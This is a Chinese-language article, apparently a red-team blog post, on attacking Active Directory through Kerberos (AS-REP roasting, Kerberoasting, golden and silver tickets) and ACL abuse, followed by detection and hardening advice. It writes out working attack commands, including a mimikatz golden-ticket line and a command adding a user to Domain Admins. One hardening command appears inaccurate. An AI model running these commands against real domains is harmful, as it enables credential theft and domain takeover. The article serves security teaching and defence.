1. 域内安全攻防的本质思考
在传统企业网络架构中,域控制器(Domain Controller)作为身份认证的核心枢纽,其安全性直接决定了整个内网的防护水平。Kerberos协议作为Windows Active Directory默认的认证机制,其设计初衷是解决网络认证中的信任问题,但恰恰是这种信任关系的建立过程,为红队渗透提供了丰富的攻击面。
我曾在一次真实的红队评估中,仅通过获取到的普通域用户凭证,在72小时内就完成了从初始访问到域控完全控制的完整攻击链。这个过程中最关键的突破口,就是Kerberos协议中的票证授予票证(TGT)的滥用。当客户端向密钥分发中心(KDC)请求服务票证时,如果攻击者能够伪造或窃取有效的TGT,就能以该用户的身份访问任何授权服务——这就是著名的"黄金票据"攻击原理。
实战经验:在配置Kerberos策略时,很多管理员会忽略"账户敏感不能被委派"这个选项。实际上启用该选项可以防止凭证被用于横向移动,这是域安全加固的基础配置之一。
2. Kerberos协议的攻击面全解析
2.1 认证流程中的脆弱环节
标准Kerberos认证包含三个主要阶段:
- 认证服务交换(AS-REQ/AS-REP):客户端获取TGT
- 票证授予服务交换(TGS-REQ/TGS-REP):客户端用TGT获取服务票证
- 客户端/服务器认证(AP-REQ/AP-REP):客户端向服务出示票证
每个阶段都存在特定的攻击手法:
- AS-REP Roasting:当用户设置"不需要预认证"时,攻击者可以直接请求该用户的TGT而无需知道密码。返回的加密TGT可以用离线方式暴力破解。
# 使用Impacket查找不需要预认证的账户 GetNPUsers.py domain/user -no-pass -usersfile userlist.txt -dc-ip 192.168.1.1- Kerberoasting:任何域用户都可以请求服务票证,其中加密部分使用服务账户的密码哈希。攻击者可以请求票证后离线破解。
# PowerShell提取服务票证 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dbserver.domain.com"2.2 高级持久化技术
在获得域管理员权限后,红队通常会建立持久化机制:
- 黄金票据攻击:伪造TGT需要:
- 域的SID (Security Identifier)
- krbtgt账户的NTLM哈希
- 要伪造的域名
- 要伪造的用户名
kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-... /krbtgt:hash /ptt- 白银票据攻击:伪造特定服务的票证,需要:
- 服务账户的NTLM哈希
- 目标SPN (Service Principal Name)
- 目标用户名
3. ACL的攻防实战
3.1 访问控制列表的权限滥用
Active Directory中的每个对象都有安全描述符,其中包含DACL(自主访问控制列表)。常见的危险权限包括:
- GenericAll:完全控制对象
- GenericWrite:修改对象属性
- WriteOwner:更改对象所有者
- WriteDACL:修改权限列表
- AllExtendedRights:包括重置密码等权限
使用PowerView进行ACL检查:
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "TestUser"}3.2 关键攻击路径
- 域管理员组添加:如果对某组有Write权限,可以将自己添加到该组
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'TestUser'- 权限继承攻击:通过对OU的控制权,可以影响其下所有对象
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ?{$_.SecurityIdentifier -match "S-1-5-21.*-512"}- 资源委派滥用:约束委派(Constrained Delegation)配置不当会导致权限提升
Get-DomainComputer -TrustedToAuth | Select-Object name,msds-allowedtodelegateto4. 防御策略与检测技术
4.1 Kerberos加固方案
启用AES加密代替RC4-HMAC
Set-ADAccountControl -Identity user -UseDESKeyOnly $false配置账户策略:
- 预认证必需
- 设置敏感账户不可委派
- 限制票证生命周期
监控异常票证请求:
<!-- Windows事件ID监控 --> 4768: TGT请求 4769: 服务票证请求 4770: 服务票证续期
4.2 ACL权限管理最佳实践
定期审计敏感权限:
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | ?{$_.ActiveDirectoryRights -match "Write"}实施最小权限原则:
- 限制对AdminSDHolder对象的访问
- 审核所有对域对象的WriteDACL操作
启用对象变更审计:
Auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable
5. 红队实战中的思维突破
在最近一次针对金融行业的红队行动中,目标网络已经实施了包括LAPS、特权访问工作站(PAW)在内的全套微软推荐安全方案。传统攻击路径基本被阻断。我们最终通过以下非常规方式完成突破:
- 发现某台老旧服务器仍使用NTLM认证
- 通过LLMNR毒获取本地管理员凭证
- 在该服务器上发现某业务系统服务账户的明文密码
- 该服务账户对某个OU有Write权限
- 通过该OU权限添加新的域管理员
这个案例表明,即使实施了最严格的安全控制,只要域内存在一个弱环节,整个防御体系就可能被击穿。红队需要培养"攻击面思维"——不是寻找已知漏洞,而是识别任何可能被利用的配置偏差。